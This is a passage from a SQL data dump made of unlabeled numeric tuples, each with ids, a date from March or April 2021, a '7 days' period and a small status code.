days',0),(42977,10676,7029,8305,203,86,'2021-03-12','7 days',0),(42978,15974,7029,8305,203,86,'2021-03-12','7 days',1),(42979,15973,7029,8305,203,86,'2021-03-12','7 days',2),(42980,10945,7669,8895,1251,86,'2021-03-12','7 days',0),(42981,10685,7669,8895,1251,86,'2021-03-12','7 days',1),(42983,10684,7669,8895,1251,86,'2021-03-12','7 days',1),(42984,9718,7669,8895,1251,86,'2021-03-12','7 days',0),(42985,9717,7669,8895,1251,86,'2021-03-12','7 days',0),(42986,9716,7669,8895,1251,86,'2021-03-12','7 days',0),(42988,9612,7669,8895,1251,86,'2021-03-12','7 days',0),(42993,15588,7279,8549,1393,86,'2021-03-12','7 days',1),(42994,15587,7279,8549,1393,86,'2021-03-12','7 days',0),(42995,15586,7279,8549,1393,86,'2021-03-12','7 days',1),(42996,9611,7279,8549,1393,86,'2021-03-12','7 days',0),(43074,17078,7764,8981,1408,86,'2021-03-15','7 days',0),(43075,17077,7764,8981,1408,86,'2021-03-15','7 days',0),(43076,17076,7764,8981,1408,86,'2021-03-15','7 days',0),(43077,16783,7764,8981,1408,86,'2021-03-15','7 days',0),(43078,16782,7764,8981,1408,86,'2021-03-15','7 days',1),(43079,16739,7764,8981,1408,86,'2021-03-15','7 days',0),(43080,16024,7764,8981,1408,86,'2021-03-15','7 days',0),(43081,15975,7764,8981,1408,86,'2021-03-15','7 days',2),(43082,15589,7764,8981,1408,86,'2021-03-15','7 days',2),(43083,15588,7764,8981,1408,86,'2021-03-15','7 days',1),(43084,15747,7729,8951,1310,959,'2021-03-15','7 days',0),(43085,17211,7729,8951,1310,959,'2021-03-15','7 days',1),(43090,17213,7700,8926,1324,959,'2021-03-15','7 days',1),(43091,17209,7422,8681,1367,959,'2021-03-15','7 days',1),(43092,17208,7422,8681,1367,959,'2021-03-15','7 days',1),(43093,17205,7729,8951,1310,959,'2021-03-15','7 days',0),(43096,13914,7700,8926,1324,959,'2021-03-15','7 days',2),(43097,17215,7422,8681,1367,959,'2021-03-15','7 days',1),(43100,17216,7700,8926,1324,959,'2021-03-15','7 days',1),(43244,5409,7751,8968,359,251,'2021-03-16','7 days',0),(43245,5408,7751,8968,359,251,'2021-03-16','7 days',0),(43246,5407,7751,8968,359,251,'2021-03-16','7 days',0),(43247,5406,7751,8968,359,251,'2021-03-16','7 days',0),(43248,5405,7751,8968,359,251,'2021-03-16','7 days',0),(43249,5404,7751,8968,359,251,'2021-03-16','7 days',0),(43250,9117,7776,8994,359,251,'2021-03-16','7 days',0),(43251,9116,7776,8994,359,251,'2021-03-16','7 days',0),(43252,9115,7776,8994,359,251,'2021-03-16','7 days',0),(43253,9114,7776,8994,359,251,'2021-03-16','7 days',0),(43254,9113,7776,8994,359,251,'2021-03-16','7 days',0),(43287,14684,7779,8997,194,45,'2021-03-16','7 days',1),(43288,13913,7779,8997,194,45,'2021-03-16','7 days',0),(43289,11689,7779,8997,194,45,'2021-03-16','7 days',1),(43290,11162,7779,8997,194,45,'2021-03-16','7 days',1),(43291,9206,7779,8997,194,45,'2021-03-16','7 days',1),(43292,16023,7741,8963,222,85,'2021-03-16','7 days',1),(43293,16022,7741,8963,222,85,'2021-03-16','7 days',2),(43294,16021,7741,8963,222,85,'2021-03-16','7 days',0),(43295,16020,7741,8963,222,85,'2021-03-16','7 days',0),(43296,16019,7741,8963,222,85,'2021-03-16','7 days',2),(43297,16018,7741,8963,222,85,'2021-03-16','7 days',0),(43298,14896,7741,8963,222,85,'2021-03-16','7 days',0),(43299,14895,7741,8963,222,85,'2021-03-16','7 days',0),(43300,14894,7741,8963,222,85,'2021-03-16','7 days',0),(43301,14892,7741,8963,222,85,'2021-03-16','7 days',0),(43302,14891,7741,8963,222,85,'2021-03-16','7 days',0),(43303,11446,7734,8956,222,85,'2021-03-16','7 days',1),(43304,11445,7734,8956,222,85,'2021-03-16','7 days',1),(43305,11442,7734,8956,222,85,'2021-03-16','7 days',0),(43306,11441,7734,8956,222,85,'2021-03-16','7 days',0),(43307,11438,7734,8956,222,85,'2021-03-16','7 days',0),(43308,11268,7734,8956,222,85,'2021-03-16','7 days',0),(43309,11267,7734,8956,222,85,'2021-03-16','7 days',0),(43310,11265,7734,8956,222,85,'2021-03-16','7 days',0),(43311,11264,7734,8956,222,85,'2021-03-16','7 days',1),(43312,11262,7734,8956,222,85,'2021-03-16','7 days',0),(43313,11260,7734,8956,222,85,'2021-03-16','7 days',0),(43331,13180,7686,8910,1410,975,'2021-03-16','7 days',1),(43332,12972,7686,8910,1410,975,'2021-03-16','7 days',0),(43333,15663,7686,8910,1410,975,'2021-03-16','7 days',1),(43343,16059,7763,8980,194,45,'2021-03-16','7 days',0),(43344,16058,7763,8980,194,45,'2021-03-16','7 days',2),(43345,1359,7763,8980,194,45,'2021-03-16','7 days',0),(43346,876,7763,8980,194,45,'2021-03-16','7 days',0),(43385,11520,7806,9028,194,45,'2021-03-16','7 days',1),(43532,11520,7649,7130,194,45,'2021-03-17','7 days',1),(43533,11519,7649,7130,194,45,'2021-03-17','7 days',1),(43596,12513,7477,8738,1439,86,'2021-03-18','7 days',0),(43597,9611,7477,8738,1439,86,'2021-03-18','7 days',2),(43598,8999,7477,8738,1439,86,'2021-03-18','7 days',2),(43599,8997,7477,8738,1439,86,'2021-03-18','7 days',0),(43643,11689,7832,9052,194,45,'2021-03-18','7 days',1),(43644,9206,7832,9052,194,45,'2021-03-18','7 days',1),(43645,11688,7832,9052,194,45,'2021-03-18','7 days',0),(43646,11687,7832,9052,194,45,'2021-03-18','7 days',1),(43647,14684,7832,9052,194,45,'2021-03-18','7 days',1),(43648,14684,7830,9050,194,45,'2021-03-18','7 days',1),(43649,13913,7830,9050,194,45,'2021-03-18','7 days',0),(43650,12562,7830,9050,194,45,'2021-03-18','7 days',1),(43651,11689,7830,9050,194,45,'2021-03-18','7 days',1),(43652,11688,7830,9050,194,45,'2021-03-18','7 days',2),(43653,11687,7830,9050,194,45,'2021-03-18','7 days',1),(43837,11589,7420,8679,160,73,'2021-03-20','7 days',1),(43856,13225,7557,8813,160,73,'2021-03-22','7 days',1),(43857,647,7557,8813,160,73,'2021-03-22','7 days',0),(43858,642,7557,8813,160,73,'2021-03-22','7 days',0),(43859,640,7557,8813,160,73,'2021-03-22','7 days',0),(43860,639,7557,8813,160,73,'2021-03-22','7 days',0),(43897,11689,7511,8765,194,45,'2021-03-22','7 days',1),(43913,11520,7627,8869,194,45,'2021-03-22','7 days',1),(43914,11519,7627,8869,194,45,'2021-03-22','7 days',1),(43915,2238,7627,8869,194,45,'2021-03-22','7 days',0),(43939,15676,7854,8948,194,45,'2021-03-22','7 days',1),(43940,15675,7854,8948,194,45,'2021-03-22','7 days',1),(43941,16059,7868,9084,194,45,'2021-03-22','7 days',0),(43942,16058,7868,9084,194,45,'2021-03-22','7 days',0),(43943,1359,7868,9084,194,45,'2021-03-22','7 days',0),(43944,17391,7778,8996,1410,975,'2021-03-22','7 days',2),(43945,17390,7778,8996,1410,975,'2021-03-22','7 days',0),(43946,17389,7778,8996,1410,975,'2021-03-22','7 days',1),(43947,17388,7778,8996,1410,975,'2021-03-22','7 days',0),(43948,17387,7778,8996,1410,975,'2021-03-22','7 days',1),(43949,17386,7778,8996,1410,975,'2021-03-22','7 days',0),(43950,17385,7778,8996,1410,975,'2021-03-22','7 days',0),(43951,17384,7778,8996,1410,975,'2021-03-22','7 days',0),(43952,17383,7778,8996,1410,975,'2021-03-22','7 days',1),(43953,17382,7778,8996,1410,975,'2021-03-22','7 days',0),(43979,17404,7778,8996,1410,975,'2021-03-23','7 days',0),(43980,17403,7778,8996,1410,975,'2021-03-23','7 days',0),(44154,17409,7778,8996,1410,975,'2021-03-23','7 days',1),(44155,17408,7778,8996,1410,975,'2021-03-23','7 days',1),(44156,17407,7778,8996,1410,975,'2021-03-23','7 days',1),(44157,17406,7778,8996,1410,975,'2021-03-23','7 days',1),(44158,17405,7778,8996,1410,975,'2021-03-23','7 days',1),(44291,2207,7888,9103,194,45,'2021-03-24','7 days',0),(44292,897,7888,9103,194,45,'2021-03-24','7 days',0),(44293,894,7888,9103,194,45,'2021-03-24','7 days',0),(44294,11520,7888,9103,194,45,'2021-03-24','7 days',1),(44295,11519,7888,9103,194,45,'2021-03-24','7 days',1),(44296,2238,7888,9103,194,45,'2021-03-24','7 days',0),(44298,13913,7806,9028,194,45,'2021-03-24','7 days',0),(44299,11689,7806,9028,194,45,'2021-03-24','7 days',1),(44300,11687,7806,9028,194,45,'2021-03-24','7 days',1),(44301,17074,7063,7951,1456,667,'2021-03-24','7 days',1),(44305,16059,7903,9117,194,45,'2021-03-24','7 days',0),(44306,16058,7903,9117,194,45,'2021-03-24','7 days',0),(44307,1359,7903,9117,194,45,'2021-03-24','7 days',0),(44308,876,7903,9117,194,45,'2021-03-24','7 days',0),(44485,664,7824,9046,161,73,'2021-03-25','7 days',0),(44486,663,7824,9046,161,73,'2021-03-25','7 days',0),(44487,658,7824,9046,161,73,'2021-03-25','7 days',0),(44539,12022,7887,9102,1594,277,'2021-03-26','7 days',1),(44544,11689,7763,8980,194,45,'2021-03-26','7 days',1),(44608,7022,7458,8717,1452,91,'2021-03-26','7 days',0),(44609,17412,7458,8717,1452,91,'2021-03-26','7 days',1),(44610,17412,7356,8632,1452,91,'2021-03-26','7 days',1),(44611,7022,7356,8632,1452,91,'2021-03-26','7 days',0),(44612,16861,7931,9140,359,251,'2021-03-26','7 days',1),(44613,16780,7931,9140,359,251,'2021-03-26','7 days',0),(44614,16779,7931,9140,359,251,'2021-03-26','7 days',0),(44615,16777,7931,9140,359,251,'2021-03-26','7 days',0),(44616,16776,7931,9140,359,251,'2021-03-26','7 days',0),(44617,16775,7931,9140,359,251,'2021-03-26','7 days',0),(44618,16774,7931,9140,359,251,'2021-03-26','7 days',0),(44619,16773,7931,9140,359,251,'2021-03-26','7 days',0),(44620,15746,7883,8733,1594,277,'2021-03-26','7 days',1),(44621,12971,7883,8733,1594,277,'2021-03-26','7 days',0),(44622,12022,7883,8733,1594,277,'2021-03-26','7 days',1),(44623,639,7871,9086,162,73,'2021-03-26','7 days',0),(44624,637,7871,9086,162,73,'2021-03-26','7 days',0),(44625,636,7871,9086,162,73,'2021-03-26','7 days',0),(44626,629,7871,9086,162,73,'2021-03-26','7 days',0),(44651,16059,7946,9153,194,45,'2021-03-27','7 days',0),(44652,16058,7946,9153,194,45,'2021-03-27','7 days',0),(44653,1359,7946,9153,194,45,'2021-03-27','7 days',0),(44654,2207,7946,9153,194,45,'2021-03-27','7 days',0),(44655,897,7946,9153,194,45,'2021-03-27','7 days',0),(44656,9012,7924,9134,161,73,'2021-03-27','7 days',0),(44657,9010,7924,9134,161,73,'2021-03-27','7 days',0),(44658,8785,7924,9134,161,73,'2021-03-27','7 days',0),(44659,8782,7924,9134,161,73,'2021-03-27','7 days',1),(44660,652,7924,9134,161,73,'2021-03-27','7 days',0),(44661,15676,7946,9153,194,45,'2021-03-27','7 days',1),(44662,15675,7946,9153,194,45,'2021-03-27','7 days',1),(44663,13913,7946,9153,194,45,'2021-03-27','7 days',0),(44664,11689,7946,9153,194,45,'2021-03-27','7 days',1),(44798,13913,7992,7130,194,45,'2021-03-29','7 days',0),(44799,11689,7992,7130,194,45,'2021-03-29','7 days',1),(44800,13913,7990,9188,194,45,'2021-03-29','7 days',0),(44801,12562,7990,9188,194,45,'2021-03-29','7 days',1),(44802,11689,7990,9188,194,45,'2021-03-29','7 days',1),(44810,16880,7897,9111,1393,86,'2021-03-29','7 days',0),(44811,16788,7897,9111,1393,86,'2021-03-29','7 days',2),(44812,16787,7897,9111,1393,86,'2021-03-29','7 days',1),(44813,16786,7897,9111,1393,86,'2021-03-29','7 days',1),(44814,16785,7897,9111,1393,86,'2021-03-29','7 days',1),(44815,16749,7897,9111,1393,86,'2021-03-29','7 days',0),(44816,16748,7897,9111,1393,86,'2021-03-29','7 days',0),(44817,16747,7897,9111,1393,86,'2021-03-29','7 days',0),(44818,16746,7897,9111,1393,86,'2021-03-29','7 days',2),(44819,12303,7897,9111,1393,86,'2021-03-29','7 days',0),(44820,11949,7897,9111,1393,86,'2021-03-29','7 days',2),(44896,17078,7905,9118,1251,86,'2021-03-30','7 days',0),(44897,17077,7905,9118,1251,86,'2021-03-30','7 days',0),(44898,17076,7905,9118,1251,86,'2021-03-30','7 days',0),(44899,16783,7905,9118,1251,86,'2021-03-30','7 days',0),(44900,16782,7905,9118,1251,86,'2021-03-30','7 days',1),(44901,16739,7905,9118,1251,86,'2021-03-30','7 days',0),(44902,14909,7905,9118,1251,86,'2021-03-30','7 days',1),(44903,14443,7905,9118,1251,86,'2021-03-30','7 days',0),(44904,14442,7905,9118,1251,86,'2021-03-30','7 days',2),(44905,12513,7905,9118,1251,86,'2021-03-30','7 days',0),(44906,17074,6973,8245,1456,667,'2021-03-30','7 days',1),(44924,8784,7926,9137,162,73,'2021-03-30','7 days',1),(44925,8783,7926,9137,162,73,'2021-03-30','7 days',2),(44926,656,7926,9137,162,73,'2021-03-30','7 days',0),(44927,653,7926,9137,162,73,'2021-03-30','7 days',0),(44928,664,7930,9123,161,73,'2021-03-30','7 days',0),(44929,663,7930,9123,161,73,'2021-03-30','7 days',0),(44930,658,7930,9123,161,73,'2021-03-30','7 days',0),(45023,17451,7345,8619,633,639,'2021-03-31','7 days',0),(45024,4516,7345,8619,633,639,'2021-03-31','7 days',1),(45025,4514,7345,8619,633,639,'2021-03-31','7 days',0),(45026,4499,7345,8619,633,639,'2021-03-31','7 days',0),(45027,4467,7345,8619,633,639,'2021-03-31','7 days',1),(45028,4460,7345,8619,633,639,'2021-03-31','7 days',2),(45029,17489,7345,8619,633,639,'2021-03-31','7 days',1),(45030,14684,8012,9200,194,45,'2021-03-31','7 days',1),(45031,11689,8012,9200,194,45,'2021-03-31','7 days',1),(45032,11163,8012,9200,194,45,'2021-03-31','7 days',0),(45033,11162,8012,9200,194,45,'2021-03-31','7 days',1),(45034,9206,8012,9200,194,45,'2021-03-31','7 days',1),(45035,15676,8015,9203,194,45,'2021-03-31','7 days',1),(45036,15675,8015,9203,194,45,'2021-03-31','7 days',1),(45037,17489,7933,8405,634,639,'2021-03-31','7 days',1),(45038,17489,7664,8890,634,639,'2021-03-31','7 days',1),(45039,4516,7664,8890,634,639,'2021-03-31','7 days',1),(45040,4514,7664,8890,634,639,'2021-03-31','7 days',0),(45041,17489,7546,8803,634,639,'2021-03-31','7 days',1),(45042,4516,7546,8803,634,639,'2021-03-31','7 days',1),(45043,4514,7546,8803,634,639,'2021-03-31','7 days',0),(45044,4499,7546,8803,634,639,'2021-03-31','7 days',0),(45045,4467,7546,8803,634,639,'2021-03-31','7 days',1),(45046,4460,7546,8803,634,639,'2021-03-31','7 days',2),(45047,17489,7544,8801,634,639,'2021-03-31','7 days',1),(45048,4516,7544,8801,634,639,'2021-03-31','7 days',1),(45049,4514,7544,8801,634,639,'2021-03-31','7 days',0),(45050,17489,7432,8691,634,639,'2021-03-31','7 days',1),(45051,4516,7432,8691,634,639,'2021-03-31','7 days',1),(45052,4499,7432,8691,634,639,'2021-03-31','7 days',0),(45053,4467,7432,8691,634,639,'2021-03-31','7 days',2),(45054,17489,7338,8405,633,639,'2021-03-31','7 days',1),(45055,4516,7338,8405,633,639,'2021-03-31','7 days',1),(45056,4514,7338,8405,633,639,'2021-03-31','7 days',0),(45057,4499,7338,8405,633,639,'2021-03-31','7 days',0),(45058,4467,7338,8405,633,639,'2021-03-31','7 days',2),(45059,17489,7334,8607,633,639,'2021-03-31','7 days',1),(45060,4516,7334,8607,633,639,'2021-03-31','7 days',1),(45061,17489,7286,8556,633,639,'2021-03-31','7 days',1),(45062,4516,7286,8556,633,639,'2021-03-31','7 days',1),(45063,4514,7286,8556,633,639,'2021-03-31','7 days',0),(45064,4499,7286,8556,633,639,'2021-03-31','7 days',0),(45084,5467,7946,9153,194,45,'2021-03-31','7 days',1),(45172,11689,8048,9224,194,45,'2021-04-01','7 days',1),(45173,11687,8048,9224,194,45,'2021-04-01','7 days',1),(45174,11162,8048,9224,194,45,'2021-04-01','7 days',1),(45175,9206,8048,9224,194,45,'2021-04-01','7 days',1),(45176,17499,8048,9224,194,45,'2021-04-01','7 days',1),(45177,17498,8048,9224,194,45,'2021-04-01','7 days',1),(45178,17499,8015,9203,194,45,'2021-04-01','7 days',0),(45179,17498,8015,9203,194,45,'2021-04-01','7 days',0),(45180,17499,8012,9200,194,45,'2021-04-01','7 days',0),(45181,17498,8012,9200,194,45,'2021-04-01','7 days',0),(45182,17499,7990,9188,194,45,'2021-04-01','7 days',1),(45183,17498,7990,9188,194,45,'2021-04-01','7 days',1),(45217,17500,7029,8305,203,86,'2021-04-02','7 days',0),(45218,15493,7029,8305,203,86,'2021-04-02','7 days',1),(45219,14994,7029,8305,203,86,'2021-04-02','7 days',1),(45245,11589,6825,5891,160,73,'2021-04-02','7 days',1),(45251,17535,7978,9180,1370,667,'2021-04-02','7 days',0),(45252,17534,7978,9180,1370,667,'2021-04-02','7 days',0),(45253,17533,7978,9180,1370,667,'2021-04-02','7 days',0),(45254,17532,7978,9180,1370,667,'2021-04-02','7 days',0),(45255,17531,7978,9180,1370,667,'2021-04-02','7 days',0),(45256,17530,7978,9180,1370,667,'2021-04-02','7 days',2),(45257,17529,7978,9180,1370,667,'2021-04-02','7 days',0),(45258,17528,7978,9180,1370,667,'2021-04-02','7 days',0),(45259,17527,7978,9180,1370,667,'2021-04-02','7 days',0),(45260,17526,7978,9180,1370,667,'2021-04-02','7 days',0),(45261,17525,7978,9180,1370,667,'2021-04-02','7 days',0),(45262,17524,7978,9180,1370,667,'2021-04-02','7 days',0),(45263,17523,7978,9180,1370,667,'2021-04-02','7 days',0),(45264,17522,7978,9180,1370,667,'2021-04-02','7 days',1),(45265,17521,7978,9180,1370,667,'2021-04-02','7 days',0),(45266,15859,8014,9202,1659,277,'2021-04-02','7 days',0),(45267,15856,8014,9202,1659,277,'2021-04-02','7 days',0),(45268,12022,8014,9202,1659,277,'2021-04-02','7 days',1),(45339,12022,8019,9202,1594,277,'2021-04-03','7 days',1),(45378,15599,8041,7462,1406,971,'2021-04-05','7 days',2),(45379,15462,8041,7462,1406,971,'2021-04-05','7 days',0),(45380,16277,8041,7462,1406,971,'2021-04-05','7 days',0),(45381,16276,8041,7462,1406,971,'2021-04-05','7 days',2),(45382,16139,8041,7462,1406,971,'2021-04-05','7 days',1),(45383,12739,8041,7462,1406,971,'2021-04-05','7 days',0),(45384,11698,8041,7462,1406,971,'2021-04-05','7 days',0),(45385,11456,8041,7462,1406,971,'2021-04-05','7 days',0),(45386,11126,8041,7462,1406,971,'2021-04-05','7 days',1),(45387,10978,8041,7462,1406,971,'2021-04-05','7 days',1),(45388,10967,8041,7462,1406,971,'2021-04-05','7 days',1),(45389,10966,8041,7462,1406,971,'2021-04-05','7 days',1),(45390,10965,8041,7462,1406,971,'2021-04-05','7 days',0),(45391,10964,8041,7462,1406,971,'2021-04-05','7 days',0),(45392,10963,8041,7462,1406,971,'2021-04-05','7 days',1),(45393,17520,7978,9180,1370,667,'2021-04-05','7 days',0),(45394,17519,7978,9180,1370,667,'2021-04-05','7 days',2),(45395,17518,7978,9180,1370,667,'2021-04-05','7 days',0),(45396,17517,7978,9180,1370,667,'2021-04-05','7 days',0),(45397,17516,7978,9180,1370,667,'2021-04-05','7 days',2),(45398,17515,7978,9180,1370,667,'2021-04-05','7 days',0),(45399,17514,7978,9180,1370,667,'2021-04-05','7 days',0),(45400,17513,7978,9180,1370,667,'2021-04-05','7 days',0),(45401,17512,7978,9180,1370,667,'2021-04-05','7 days',0),(45402,17511,7978,9180,1370,667,'2021-04-05','7 days',0),(45403,17510,7978,9180,1370,667,'2021-04-05','7 days',0),(45404,17509,7978,9180,1370,667,'2021-04-05','7 days',0),(45405,17508,7978,9180,1370,667,'2021-04-05','7 days',0),(45406,17507,7978,9180,1370,667,'2021-04-05','7 days',0),(45407,17506,7978,9180,1370,667,'2021-04-05','7 days',0),(45413,17502,8068,9240,203,86,'2021-04-05','7 days',2),(45414,17501,8068,9240,203,86,'2021-04-05','7 days',0),(45415,17500,8068,9240,203,86,'2021-04-05','7 days',0),(45416,17078,8068,9240,203,86,'2021-04-05','7 days',0),(45417,17077,8068,9240,203,86,'2021-04-05','7 days',0),(45418,17076,8068,9240,203,86,'2021-04-05','7 days',0),(45419,16783,8068,9240,203,86,'2021-04-05','7 days',0),(45420,16782,8068,9240,203,86,'2021-04-05','7 days',0),(45421,16739,8068,9240,203,86,'2021-04-05','7 days',0),(45422,16024,8068,9240,203,86,'2021-04-05','7 days',0),(45423,15975,8068,9240,203,86,'2021-04-05','7 days',2),(45425,17499,8076,9247,194,45,'2021-04-05','7 days',0),(45426,17498,8076,9247,194,45,'2021-04-05','7 days',1),(45427,17499,8073,9247,194,45,'2021-04-05','7 days',0),(45428,17498,8073,9247,194,45,'2021-04-05','7 days',0),(45446,9797,8064,9236,1067,326,'2021-04-05','7 days',0),(45447,9796,8064,9236,1067,326,'2021-04-05','7 days',0),(45448,9795,8064,9236,1067,326,'2021-04-05','7 days',0),(45449,9720,8064,9236,1067,326,'2021-04-05','7 days',1),(45450,9719,8064,9236,1067,326,'2021-04-05','7 days',0),(45457,17505,7978,9180,1370,667,'2021-04-06','7 days',2),(45458,17504,7978,9180,1370,667,'2021-04-06','7 days',0),(45459,17503,7978,9180,1370,667,'2021-04-06','7 days',0),(45462,7421,8064,9236,1067,326,'2021-04-06','7 days',0),(45463,7420,8064,9236,1067,326,'2021-04-06','7 days',0),(45464,7419,8064,9236,1067,326,'2021-04-06','7 days',0),(45465,7418,8064,9236,1067,326,'2021-04-06','7 days',0),(45466,7417,8064,9236,1067,326,'2021-04-06','7 days',0),(45467,14913,8068,9240,203,86,'2021-04-06','7 days',2),(45468,10807,8068,9240,203,86,'2021-04-06','7 days',0),(45469,10806,8068,9240,203,86,'2021-04-06','7 days',1),(45470,10805,8068,9240,203,86,'2021-04-06','7 days',0),(45471,10804,8068,9240,203,86,'2021-04-06','7 days',0),(45472,6199,8068,9240,203,86,'2021-04-06','7 days',0),(45473,5753,8068,9240,203,86,'2021-04-06','7 days',2),(45474,5743,8068,9240,203,86,'2021-04-06','7 days',1),(45475,5741,8068,9240,203,86,'2021-04-06','7 days',1),(45476,5739,8068,9240,203,86,'2021-04-06','7 days',0),(45477,17499,8092,7963,194,45,'2021-04-06','7 days',0),(45478,17498,8092,7963,194,45,'2021-04-06','7 days',0),(45495,17546,8064,9236,1067,326,'2021-04-06','7 days',1),(45508,17548,8092,7963,194,45,'2021-04-06','7 days',1),(45509,17548,8086,9258,194,45,'2021-04-06','7 days',1),(45510,17548,8076,9247,194,45,'2021-04-06','7 days',1),(45511,17548,8073,9247,194,45,'2021-04-06','7 days',1),(45512,16861,7969,9170,359,251,'2021-04-06','7 days',1),(45513,16780,7969,9170,359,251,'2021-04-06','7 days',0),(45514,16779,7969,9170,359,251,'2021-04-06','7 days',0),(45515,16777,7969,9170,359,251,'2021-04-06','7 days',0),(45516,16775,7969,9170,359,251,'2021-04-06','7 days',0),(45517,16774,7969,9170,359,251,'2021-04-06','7 days',2),(45530,17587,7978,9180,1370,667,'2021-04-06','7 days',0),(45531,17586,7978,9180,1370,667,'2021-04-06','7 days',2),(45532,17585,7978,9180,1370,667,'2021-04-06','7 days',0),(45533,17584,7978,9180,1370,667,'2021-04-06','7 days',0),(45534,17583,7978,9180,1370,667,'2021-04-06','7 days',0),(45535,17582,7978,9180,1370,667,'2021-04-06','7 days',0),(45536,17581,7978,9180,1370,667,'2021-04-06','7 days',0),(45537,17580,7978,9180,1370,667,'2021-04-06','7 days',0),(45538,17579,7978,9180,1370,667,'2021-04-06','7 days',0),(45539,17578,7978,9180,1370,667,'2021-04-06','7 days',0),(45604,14051,8064,9236,1067,326,'2021-04-07','7 days',0),(45605,12897,8064,9236,1067,326,'2021-04-07','7 days',0),(45606,12875,8064,9236,1067,326,'2021-04-07','7 days',1),(45608,9805,8064,9236,1067,326,'2021-04-07','7 days',0),(45609,9803,8064,9236,1067,326,'2021-04-07','7 days',2),(45627,17577,7978,9180,1370,667,'2021-04-07','7 days',0),(45628,17576,7978,9180,1370,667,'2021-04-07','7 days',0),(45629,17575,7978,9180,1370,667,'2021-04-07','7 days',0),(45630,17574,7978,9180,1370,667,'2021-04-07','7 days',0),(45631,17573,7978,9180,1370,667,'2021-04-07','7 days',0),(45632,17572,7978,9180,1370,667,'2021-04-07','7 days',0),(45633,17571,7978,9180,1370,667,'2021-04-07','7 days',0),(45634,17570,7978,9180,1370,667,'2021-04-07','7 days',0),(45635,17569,7978,9180,1370,667,'2021-04-07','7 days',0),(45636,17568,7978,9180,1370,667,'2021-04-07','7 days',0),(45637,17567,7978,9180,1370,667,'2021-04-07','7 days',0),(45735,17566,7978,9180,1370,667,'2021-04-08','7 days',0),(45736,17565,7978,9180,1370,667,'2021-04-08','7 days',0),(45737,17564,7978,9180,1370,667,'2021-04-08','7 days',0),(45738,17563,7978,9180,1370,667,'2021-04-08','7 days',0),(45739,17562,7978,9180,1370,667,'2021-04-08','7 days',0),(45740,17561,7978,9180,1370,667,'2021-04-08','7 days',0),(45741,17560,7978,9180,1370,667,'2021-04-08','7 days',0),(45742,17559,7978,9180,1370,667,'2021-04-08','7 days',0),(45743,17558,7978,9180,1370,667,'2021-04-08','7 days',0),(45744,17557,7978,9180,1370,667,'2021-04-08','7 days',0),(45760,17489,7712,8944,634,639,'2021-04-08','7 days',1),(45761,17451,7712,8944,634,639,'2021-04-08','7 days',0),(45762,4516,7712,8944,634,639,'2021-04-08','7 days',1),(45763,4514,7712,8944,634,639,'2021-04-08','7 days',0),(45785,8784,8043,9222,162,73,'2021-04-09','7 days',1),(45786,8783,8043,9222,162,73,'2021-04-09','7 days',0),(45787,656,8043,9222,162,73,'2021-04-09','7 days',0),(45788,653,8043,9222,162,73,'2021-04-09','7 days',0),(45789,9014,8074,9248,161,73,'2021-04-09','7 days',1),(45790,9013,8074,9248,161,73,'2021-04-09','7 days',0),(45791,8786,8074,9248,161,73,'2021-04-09','7 days',0),(45792,668,8074,9248,161,73,'2021-04-09','7 days',0),(45793,655,8074,9248,161,73,'2021-04-09','7 days',0),(45794,632,8074,9248,161,73,'2021-04-09','7 days',0),(45821,11689,8115,9289,194,45,'2021-04-09','7 days',1),(45822,9206,8115,9289,194,45,'2021-04-09','7 days',1),(45823,11689,8102,9275,194,45,'2021-04-09','7 days',1),(45824,9206,8102,9275,194,45,'2021-04-09','7 days',1),(45890,17489,8118,9292,634,639,'2021-04-12','7 days',1),(45892,17451,8118,9292,634,639,'2021-04-12','7 days',0),(45942,16051,7635,8875,161,73,'2021-04-12','7 days',1),(45943,13225,7635,8875,161,73,'2021-04-12','7 days',1),(45944,12979,7635,8875,161,73,'2021-04-12','7 days',0),(45945,11876,7635,8875,161,73,'2021-04-12','7 days',2),(45946,11589,7635,8875,161,73,'2021-04-12','7 days',1),(45947,8781,7635,8875,161,73,'2021-04-12','7 days',0),(45948,672,7635,8875,161,73,'2021-04-12','7 days',0),(45949,661,7635,8875,161,73,'2021-04-12','7 days',0),(45950,659,7635,8875,161,73,'2021-04-12','7 days',1),(45951,647,7635,8875,161,73,'2021-04-12','7 days',0),(45976,17499,7980,6667,194,45,'2021-04-12','7 days',0),(45977,17498,7980,6667,194,45,'2021-04-12','7 days',0),(45982,17499,8122,9296,194,45,'2021-04-12','7 days',0),(45983,17498,8122,9296,194,45,'2021-04-12','7 days',0),(45984,17499,8095,9267,194,45,'2021-04-12','7 days',0),(45985,17498,8095,9267,194,45,'2021-04-12','7 days',0),(45986,17499,7979,6667,194,45,'2021-04-12','7 days',0),(45987,17498,7979,6667,194,45,'2021-04-12','7 days',0),(46010,17556,7978,9180,1370,667,'2021-04-12','7 days',0),(46011,17555,7978,9180,1370,667,'2021-04-12','7 days',0),(46012,17554,7978,9180,1370,667,'2021-04-12','7 days',0),(46013,17553,7978,9180,1370,667,'2021-04-12','7 days',0),(46014,17552,7978,9180,1370,667,'2021-04-12','7 days',0),(46015,17551,7978,9180,1370,667,'2021-04-12','7 days',0),(46016,17550,7978,9180,1370,667,'2021-04-12','7 days',0),(46017,11689,7888,9103,194,45,'2021-04-12','7 days',1),(46018,11689,8015,9203,194,45,'2021-04-13','7 days',1),(46040,11589,7617,8860,162,73,'2021-04-13','7 days',1),(46041,12022,8139,9309,1666,277,'2021-04-13','7 days',0),(46075,17499,8146,9153,194,45,'2021-04-13','7 days',0),(46076,17498,8146,9153,194,45,'2021-04-13','7 days',0),(46077,13913,8146,9153,194,45,'2021-04-13','7 days',0),(46078,11689,8146,9153,194,45,'2021-04-13','7 days',1),(46079,17499,8145,496,194,45,'2021-04-13','7 days',0),(46080,17498,8145,496,194,45,'2021-04-13','7 days',0),(46081,13913,8145,496,194,45,'2021-04-13','7 days',0),(46082,11689,8145,496,194,45,'2021-04-13','7 days',1),(46083,17680,8114,9288,1370,667,'2021-04-13','7 days',0),(46084,17679,8114,9288,1370,667,'2021-04-13','7 days',0),(46085,17678,8114,9288,1370,667,'2021-04-13','7 days',0),(46086,17677,8114,9288,1370,667,'2021-04-13','7 days',0),(46087,17676,8114,9288,1370,667,'2021-04-13','7 days',2),(46088,17675,8114,9288,1370,667,'2021-04-13','7 days',0),(46089,17674,8114,9288,1370,667,'2021-04-13','7 days',0),(46090,17673,8114,9288,1370,667,'2021-04-13','7 days',0),(46091,17672,8114,9288,1370,667,'2021-04-13','7 days',0),(46092,17671,8114,9288,1370,667,'2021-04-13','7 days',0),(46093,17670,8114,9288,1370,667,'2021-04-13','7 days',1),(46094,17669,8114,9288,1370,667,'2021-04-13','7 